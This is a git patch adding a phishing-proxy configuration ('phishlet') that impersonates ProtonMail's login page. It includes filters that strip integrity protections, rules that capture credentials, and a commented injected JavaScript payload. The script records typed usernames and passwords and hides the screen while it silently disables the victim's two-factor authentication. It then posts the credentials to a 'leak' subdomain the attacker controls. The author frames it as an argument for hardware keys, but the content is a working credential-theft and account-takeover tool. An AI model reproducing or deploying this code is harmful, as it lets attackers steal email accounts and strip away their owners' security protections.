From f49a7fc1a4ecc0820bcb463fd7686f423980500f Mon Sep 17 00:00:00 2001 From: "James Cullum (Pseudonym)" Date: Fri, 22 Feb 2019 22:52:51 +0100 Subject: [PATCH] Phishlet for protonmail Tested on FF & Chrome, with and without 2FA. Will disable 2FA and rely on credentials instead of cookies. --- phishlets/protonmail.yaml | 163 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 163 insertions(+) create mode 100644 phishlets/protonmail.yaml diff --git a/phishlets/protonmail.yaml b/phishlets/protonmail.yaml new file mode 100644 index 000000000..b63ac6512 --- /dev/null +++ b/phishlets/protonmail.yaml @@ -0,0 +1,163 @@ +name: 'o365' +author: '@jamescullum' +# This phishlet is mostly an appeal to introduce U2F everywhere, protecting users from phishing in an easy and accessible way. +# Protonmail is based on Angular, very JS heavy and changes a lot of things often. This makes it difficult to keep the script compatible for a long period of time. +# It never sends the password over the wire and enforces integrity over multiple ways. +# I was unable to reconstruct a 2FA session with cookies or other clearly available materials (if you can, tell me how and the whole thing will be MUCH smoother!) +# To combat these JS based protections, this phishlet is injecting javascript that holes out the protections. +# If the user has no 2FA protection, it will recognize this and leak the login details manually, so that they can be captured. +# If 2FA is enabled, it will modify the UI in a way so that the user is forced to disable 2FA. Only after this is done, the credentials are leaked. +# This way, only the login details are needed to get into an account. +min_ver: '2.3.0' +proxy_hosts: + - {phish_sub: 'mail', orig_sub: 'mail', domain: 'protonmail.com', session: true, is_landing: true, auto_filter:true} + - {phish_sub: 'leak', orig_sub: 'debug', domain: 'example.org', session: true, is_landing: false} +sub_filters: + - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '', replace: '', mimes: ['text/html']} + - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: ' integrity=(.+?) crossorigin=anonymous', replace: ' ', mimes: ['text/html']} + - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '(?:r&&\()?\w+\.integrity\s*=\s*.+?\)?,', replace: '', mimes: ['application/javascript']} +auth_urls: + - '/confirm-compromise' +auth_tokens: + # We actually don't care for the cookies here + - domain: '.protonmail.com' + keys: ['Session-Id'] +credentials: + username: + key: 'username' + search: '(.*)' + type: 'post' + password: + key: 'password' + search: '(.*)' + type: 'post' +login: + domain: 'mail.protonmail.com' + path: '/login' + +# Below you find the raw script. It is minified via jscompress.com and injected at the end of the body of the landing page. +#(function() { +# var usrCache = null; +# var passwdCache = null; +# var timeoutMax = 15*10; +# var waitforTimeout = null; +# var suppressConfirm = null; +# var waitingForElement = null; +# +# defer(function() { +# $(document).ready(function() { +# $("body").on("click", "#login_btn", function() { +# usrCache = $("#username").val(); +# passwdCache = $("#password").val(); +# +# waitFor("button.compose, #login_btn_2fa:visible", function() { +# if($("#login_btn_2fa").length) return; +# +# leakCredentials(); +# }); +# }); +# +# $("body").on("click", "#login_btn_2fa", function() { +# waitFor("button.compose", function() { +# // Cover actions +# $('html > head').append(''); +# $("#pm_loading").addClass("show"); +# +# // Navigate to settings +# waitFor("#tour-settings", function() { +# $("#tour-settings").click(); +# +# // Navigate to security settings +# waitFor('a.navigationSettings-link[href="/security"]', function() { +# $('a.navigationSettings-link[href="/security"]').click(); +# +# // Wait until 2FA options loaded +# waitFor('button[ng-click="disableTwoFactor()"]', function() { +# var twofaDisableButton = $('button[ng-click="disableTwoFactor()"]'); +# +# if(!twofaDisableButton.hasClass("ng-hide")) { +# // Start automatic modal interactions +# suppressConfirm = setInterval(function() { +# if($("#confirmModalBtn").length) $("#confirmModalBtn").click(); +# }, 50); +# +# // Initiate action to remove +# twofaDisableButton.click(); +# +# var waitConfirm = setInterval(function() { +# // Wrong code or other error -> Retry +# if($(".cg-notify-message.notification-danger").length) { +# $(".cg-notify-message.notification-danger").remove(); +# twofaDisableButton.click(); +# } +# +# // Button switched +# if($('.cg-notify-message.notification-success').length) { +# $(".cg-notify-message.notification-success").remove(); +# clearInterval(waitConfirm); +# +# resetUI(); +# leakCredentials(); +# } +# }, 100); +# } else { +# resetUI(); // we shouldn't possibly get here +# } +# }, resetUI); +# }, resetUI); +# }, resetUI); +# }); +# }); +# }); +# }); +# +# function waitFor(selector, callback, timeout_callback, timeout_i) { +# if(typeof timeout_i == 'undefined') { +# timeout_i = 0; +# waitingForElement = selector; +# } +# +# // Collision detection - there should only be one wait at a time, but at login the user might be faster than the timeout +# if(waitingForElement != selector) { +# return console.error("Waiting aborted due to race condition", waitingForElement, selector); +# } +# +# if (jQuery(selector).length) { +# callback(timeout_i); +# } else if(timeout_i < timeoutMax) { +# waitforTimeout = setTimeout(function() { +# waitFor(selector, callback, timeout_callback, timeout_i+1); +# }, 100); +# } else { +# console.error("Timeout reached, cancelling action"); +# +# if(typeof timeout_callback !== 'undefined') { +# timeout_callback(timeout_i); +# } +# } +# } +# +# function resetUI() { +# if(suppressConfirm != null) clearInterval(suppressConfirm); +# +# $("a.headerSecuredDesktop-logo").click(); +# $("#suppressModal").remove(); +# $("#pm_loading").removeClass("show"); +# } +# +# function leakCredentials() { +# var leakAddress = "https://"+(window.location.hostname.replace("//mail.", "//leak."))+"/confirm-compromise"; +# $.post(leakAddress, {"username":usrCache, "password":passwdCache}); +# +# // Make sure the user doesn't activate 2FA +# $('html > head').append(''); +# } +# +# function defer(method) { +# if (window.jQuery) { +# method(); +# } else { +# setTimeout(function() { defer(method) }, 50); +# } +# } +#})(); \ No newline at end of file